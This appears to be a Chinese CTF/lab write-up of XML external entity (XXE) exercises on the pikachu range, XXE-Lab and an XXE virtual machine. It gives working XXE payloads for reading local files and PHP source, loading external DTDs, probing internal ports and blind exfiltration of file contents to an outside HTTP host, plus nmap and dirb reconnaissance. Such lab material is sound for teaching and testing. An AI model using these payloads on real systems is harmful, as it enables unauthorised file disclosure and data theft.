当前位置: 首页 > news >正文

XXE练习

pikachu-XXE靶场

1.POC:攻击测试

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "a">]>
<foo>&xxe;</foo>

c3c4354c00ab5b6036e8c81f72d1135b.png

a9ab2389bb8631fee1a24df28c1a5e34.png

2.EXP:查看文件

<?xml version="1.0"?>
<!DOCTYPE foo [ 
<!ENTITY xxe SYSTEM "file:///C:/flag/flag" > ]>
<foo>&xxe;</foo>

6628eac12cde6e92a20aece8a17d0690.png

3.EXP:查看源码

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy/phpstudy_pro/WWW/1.php">]>
<foo>&xxe;</foo>

915ae19509887bc877534828df32ba57.png

4.EXP:DTD外部调用

<!ENTITY evil SYSTEM "file:///C:/flag/flag">
<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://172.16.1.195:80/evil.dtd">
%xxe;
]>
<foo>&evil;</foo>

f5520e401cb736b1d08c20a016465f37.png

5.EXP:探测内网存活主机与开放端口

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE foo [
<!ELEMENT foo ANY> 
<!ENTITY rabbit SYSTEM "http://127.0.0.1:80">
]>
<x>&rabbit</x>

端口开放回显很快

93b22cca484d310b927c35ad8619a04d.png

端口未开连接超时

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE foo [
<!ELEMENT foo ANY> 
<!ENTITY rabbit SYSTEM "http://127.0.0.1:8087">
]>
<x>&rabbit</x>

6.EXP:无回显探测

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://192.168.133.129:8888/?%file;'>">
%start;
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE message [ <!ENTITY % remote SYSTEM "http://172.16.1.195/66.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/flag/flag">
%remote;
%send;
]>

12f4790c959cab9b2b8c0df74b4ece6f.png

XXE-Lab靶场

目标获取flag

1.访问网页

418edcbcd156d73ca449c0748ceaff47.png

2.尝试注入,获取flag

BP抓他瞧一瞧

看到支持接收xml数据注入一下试试

text/xml和application/xml

81ea1c52041000865503f285b3171b7a.png

<!DOCTYPE username [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=C:/flag/flag">]>
<user><username>
&xxe;</username><password>1</password>
</user>//flag{dmsioamdoiasdmdmwmdsmd}

1410585718c3f24a6d6a8960004e36f4.png

XXE靶机

目标获取flag

1.装好靶机

这个样子就可以了

81108fc18b9829682111438864ef9031.png

2.获取靶机IP

用Nmap扫描整个D段获取靶机IP

nmap -O 192.168.133.129/24

1766371c994483d5baf013ae234cdbea.png

或者是用命令

arp-scan -l

bf93478a7c6636297875616c6d0d6968.png

4.信息收集

先去看看网页

Apache的默认页面,并什么可以利用的

bb2c313f2fbb483bf005a5e9c6b4b1cc.png

利用dirb工具去扫一下后台目录和文件

dirb http://192.168.133.131/

3fdbd401f714119182dcc634fa792d61.png

2ce27ac8761a9e9e28028fa99ee6d1f7.png

挨个访问一遍后发现两个登录界面

9e10afd6928de93e86121ecaa845a3ae.png

6fb5108cfeb7ba793166135977a6311b.png

5.尝试注入

xxe有回显点

抓包看看;尝试注入

3528a7a591baa61e708c54f017b407d9.png

查看admin.php的源码

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///var/www/html/xxe/admin.php">]>
<root><name>&xxe;</name><password>1</password>
</root>

600fcac7aca29a16aaddfbe6370346e3.png

解密后,在看源码发现好像是账号密码;去解密一下登录试试

56ef4e81923916af0f7900ec7f638193.png

83225a100b58569bcab9a4844e65dc77.png

登录后是这样,点击Flag后发现新的php文件

644b1213b2ac97c2ddb20a2b9fc2d5c8.png

1adc19aa54001d0211331b661a6933fa.png

去访问看看

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///var/www/html/xxe/flagmeout.php">]>
<root><name>&xxe;</name><password>1</password>
</root>

1ea76f8d3a93e274262d60e9d405f57b.png

解密后

54a5a7eae3e360aec6eed637c7cd9b3f.png

Base32解密后发现还得64解码

9c710242862386ca2f27f928aa1be937.png

4758540225e2a58320eb8cccda82e159.png

得到一个php文件去访问试试

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/.flag.php">]>
<root><name>&xxe;</name><password>1</password>
</root>

10c8837ffd72b5b54e67caffc7087129.png

6.成功获取flag

在php文件中运行

ba3a1384e24bb8974d2825b5c0f020e4.png

访问一下就成功获取flag

 SAFCSP{xxe_is_so_easy}

相关文章:

XXE练习

pikachu-XXE靶场 1.POC:攻击测试 <?xml version"1.0"?> <!DOCTYPE foo [ <!ENTITY xxe "a">]> <foo>&xxe;</foo> 2.EXP:查看文件 <?xml version"1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SY…...

R语言读取hallmarks的gmt文档的不同姿势整理

不同格式各有所用 1.读取数据框格式的 hallmarks <- clusterProfiler::read.gmt("~/genelist/h.all.v7.4.symbols.gmt") #返回的是表格 hallmarks$term<- gsub(HALLMARK_,"",hallmarks$term)适配Y叔的clusterProfiler的后续分析,比如整理后geneli…...

【Nginx-4】Nginx负载均衡策略详解

在现代Web应用中&#xff0c;随着用户访问量的增加&#xff0c;单台服务器往往难以承受巨大的流量压力。为了解决这一问题&#xff0c;负载均衡技术应运而生。Nginx作为一款高性能的Web服务器和反向代理服务器&#xff0c;提供了多种负载均衡策略&#xff0c;能够有效地将请求分…...

Python 的 Decimal的错误计算

摘要 阐述在使用 Python的 Decimal类时&#xff0c;可能产生的错误计算。 在 详述 BigDecimal 的错误计算 中&#xff0c;笔者较为详细地说明了 Java的 BigDecimal可能出错的原因。类似地&#xff0c;Python的 decimal模块中有个 Decimal类&#xff0c;也可用于高精度的十进制…...

【韩顺平 Java满汉楼项目 控制台版】MySQL+JDBC+druid

文章目录 功能界面用户登录界面显示餐桌状态预定显示所有菜品点餐查看账单结账退出满汉楼 程序框架图项目依赖项目结构方法调用图功能实现登录显示餐桌状态订座显示所有菜品点餐查看账单结账退出满汉楼 扩展思考多表查询如果将来字段越来越多怎么办&#xff1f; 员工信息字段可…...

【HAL库】STM32CubeMX开发----STM32F407----Time定时器中断实验

STM32CubeMX 下载和安装 详细教程 【HAL库】STM32CubeMX开发----STM32F407----目录 前言 本次实验以 STM32F407VET6 芯片为MCU&#xff0c;使用 25MHz 外部时钟源。 实现定时器TIM3中断&#xff0c;每1s进一次中断。 定时器计算公式如下&#xff1a; arr 是自动装载值&#x…...

react18+ts 封装图表及词云组件

react18ts 封装图表及词云组件 1.下载依赖包 "echarts": "^5.5.1","echarts-for-react": "^3.0.2","echarts-wordcloud": "^2.1.0",2.创建目录结构 3.代码封装 ChartCard.tsx Wordcloud.tsx 4.调用 import Rea…...

图像根据mask拼接时,边缘有色差 解决

目录 渐变融合(Feathering) 沿着轮廓线模糊: 代码: 泊松融合 效果比较好: 效果图: 源代码: 泊松融合,mask不扩大试验 效果图: 源代码: 两个图像根据mask拼接时,边缘有色差 渐变融合(Feathering) import numpy as np import cv2# 假设 img1, img2 是两个…...

17、ConvMixer模型原理及其PyTorch逐行实现

文章目录 1. 重点2. 思维导图 1. 重点 patch embedding : 将图形分割成不重叠的块作为图片样本特征depth wise point wise new conv2d : 将传统的卷积转换成通道隔离卷积和像素空间隔离两个部分&#xff0c;在保证精度下降不多的情况下大大减少参数量 2. 思维导图 后续再整…...

Spring整合Redis基本操作步骤

Spring 整合 Redis 操作步骤总结 1. 添加依赖 首先&#xff0c;在 pom.xml 文件中添加必要的 Maven 依赖。Redis 相关的依赖包括 Spring Boot 的 Redis 启动器和 fastjson&#xff08;如果需要使用 Fastjson 作为序列化工具&#xff09;&#xff1a; <!-- Spring Boot Re…...

STM32使用SFUD库驱动W25Q64

SFUD简介 SFUD是一个通用SPI Flash驱动库&#xff0c;通过SFUD可以库轻松完成对SPI Flash的读/擦/写的基本操作&#xff0c;而不用自己去看手册&#xff0c;写代码造轮子。但是SFUD的功能不仅仅于此&#xff1a;①通过SFUD库可以实现在一个项目中对多个Flash的同时驱动&#x…...

ArKTS基础组件

一.AlphabetIndexer 可以与容器组件联动用于按逻辑结构快速定位容器显示区域的组件。 子组件 color:设置文字颜色。 参数名类型必填说明valueResourceColor是 文字颜色。 默认值&#xff1a;0x99182431。 selectedColor:设置选中项文字颜色。 参数名类型必填说明valueRes…...

如何理解TCP/IP协议?如何理解TCP/IP协议是什么?

理解TCP/IP协议 1. 什么是TCP/IP协议? TCP/IP(Transmission Control Protocol/Internet Protocol,传输控制协议/网际协议)是一组用于实现网络通信的协议,广泛用于互联网和局域网中。TCP/IP协议栈由一系列协议组成,规定了计算机如何在网络中发送和接收数据。它通常被用来…...

如何使用 Python 连接 SQLite 数据库?

SQLite是一种轻量级的嵌入式数据库&#xff0c;广泛应用于各种应用程序中。 Python提供了内置的sqlite3模块&#xff0c;使得连接和操作SQLite数据库变得非常简单。 下面我将详细介绍如何使用sqlite3模块来连接SQLite数据库&#xff0c;并提供一些实际开发中的建议和注意事项…...

【博弈模型】古诺模型、stackelberg博弈模型、伯特兰德模型、价格领导模型

博弈模型 1、古诺模型&#xff08;cournot&#xff09;&#xff08;1&#xff09;假设&#xff08;2&#xff09;行为分析&#xff08;3&#xff09;经济后果&#xff08;4&#xff09;例题 2、stackelberg博弈模型&#xff08;产量领导模型&#xff09;&#xff08;1&#xff…...

单片机:实现花样灯数码管的显示(附带源码)

单片机实现花样灯数码管显示 数码管&#xff08;七段数码管&#xff09;广泛用于数字显示&#xff0c;例如时钟、计数器、温度计等设备。在本项目中&#xff0c;我们将使用单片机实现花样灯数码管的显示效果。所谓花样灯显示是指通过控制数码管上的各个段位&#xff0c;以不同…...

什么是芯片电阻

有人把Chip Resistor翻译成“芯片电阻”&#xff0c;我觉得翻译成“贴片电阻”或“片状电阻”更合适。有些厂商也称之为”电阻片”&#xff0c;英文写作Resistor Chip。比如&#xff1a;Thick film resistor chips&#xff08;厚膜电阻片&#xff09;、Thin film resistor chip…...

【C++】sophus : geometry.hpp 位姿(SE2 和 SE3)和(2D 直线\3D 平面)转换函数 (五)

这段代码定义了一系列在位姿&#xff08;SE2 和 SE3&#xff09;和几何实体&#xff08;2D 直线和 3D 平面&#xff09;之间进行转换的函数。它利用了 Sophus 库中已有的旋转表示&#xff08;SO2 和 SO3&#xff09;。 以下是函数的详细解释&#xff1a; 1. SO2 与直线&#xf…...

moment()获取时间

moment 是一个 JavaScript 日期处理类库。 使用&#xff1a; //安装 moment npm install moment -- save引用 //在main.js中全局引入 import moment from "moment"设定moment区域为中国 //import 方式 import moment/locale/zh-cn moment.locale(zh-cn); 挂载全…...

Azure虚拟机非托管磁盘大小调整

想要扩容一个Azure VM 的磁盘空间&#xff0c;门户里面竟然无法扩展&#xff0c;点点鼠标就完事的时代在离去&#xff0c;微软越来不想微软。 在门户里面即便使用Azure Cli命令行也不行。 PS /home/gpchina> az disk list [] 返回为空&#xff0c;根本没有返回磁盘。 不过使…...

铭豹扩展坞 USB转网口 突然无法识别解决方法

当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…...

Linux 文件类型,目录与路径,文件与目录管理

文件类型 后面的字符表示文件类型标志 普通文件&#xff1a;-&#xff08;纯文本文件&#xff0c;二进制文件&#xff0c;数据格式文件&#xff09; 如文本文件、图片、程序文件等。 目录文件&#xff1a;d&#xff08;directory&#xff09; 用来存放其他文件或子目录。 设备…...

PHP和Node.js哪个更爽?

先说结论&#xff0c;rust完胜。 php&#xff1a;laravel&#xff0c;swoole&#xff0c;webman&#xff0c;最开始在苏宁的时候写了几年php&#xff0c;当时觉得php真的是世界上最好的语言&#xff0c;因为当初活在舒适圈里&#xff0c;不愿意跳出来&#xff0c;就好比当初活在…...

《Playwright:微软的自动化测试工具详解》

Playwright 简介:声明内容来自网络&#xff0c;将内容拼接整理出来的文档 Playwright 是微软开发的自动化测试工具&#xff0c;支持 Chrome、Firefox、Safari 等主流浏览器&#xff0c;提供多语言 API&#xff08;Python、JavaScript、Java、.NET&#xff09;。它的特点包括&a…...

理解 MCP 工作流:使用 Ollama 和 LangChain 构建本地 MCP 客户端

&#x1f31f; 什么是 MCP&#xff1f; 模型控制协议 (MCP) 是一种创新的协议&#xff0c;旨在无缝连接 AI 模型与应用程序。 MCP 是一个开源协议&#xff0c;它标准化了我们的 LLM 应用程序连接所需工具和数据源并与之协作的方式。 可以把它想象成你的 AI 模型 和想要使用它…...

DAY 47

三、通道注意力 3.1 通道注意力的定义 # 新增&#xff1a;通道注意力模块&#xff08;SE模块&#xff09; class ChannelAttention(nn.Module):"""通道注意力模块(Squeeze-and-Excitation)"""def __init__(self, in_channels, reduction_rat…...

Go 语言接口详解

Go 语言接口详解 核心概念 接口定义 在 Go 语言中&#xff0c;接口是一种抽象类型&#xff0c;它定义了一组方法的集合&#xff1a; // 定义接口 type Shape interface {Area() float64Perimeter() float64 } 接口实现 Go 接口的实现是隐式的&#xff1a; // 矩形结构体…...

高频面试之3Zookeeper

高频面试之3Zookeeper 文章目录 高频面试之3Zookeeper3.1 常用命令3.2 选举机制3.3 Zookeeper符合法则中哪两个&#xff1f;3.4 Zookeeper脑裂3.5 Zookeeper用来干嘛了 3.1 常用命令 ls、get、create、delete、deleteall3.2 选举机制 半数机制&#xff08;过半机制&#xff0…...

Spring AI 入门:Java 开发者的生成式 AI 实践之路

一、Spring AI 简介 在人工智能技术快速迭代的今天&#xff0c;Spring AI 作为 Spring 生态系统的新生力量&#xff0c;正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务&#xff08;如 OpenAI、Anthropic&#xff09;的无缝对接&…...

C++八股 —— 单例模式

文章目录 1. 基本概念2. 设计要点3. 实现方式4. 详解懒汉模式 1. 基本概念 线程安全&#xff08;Thread Safety&#xff09; 线程安全是指在多线程环境下&#xff0c;某个函数、类或代码片段能够被多个线程同时调用时&#xff0c;仍能保证数据的一致性和逻辑的正确性&#xf…...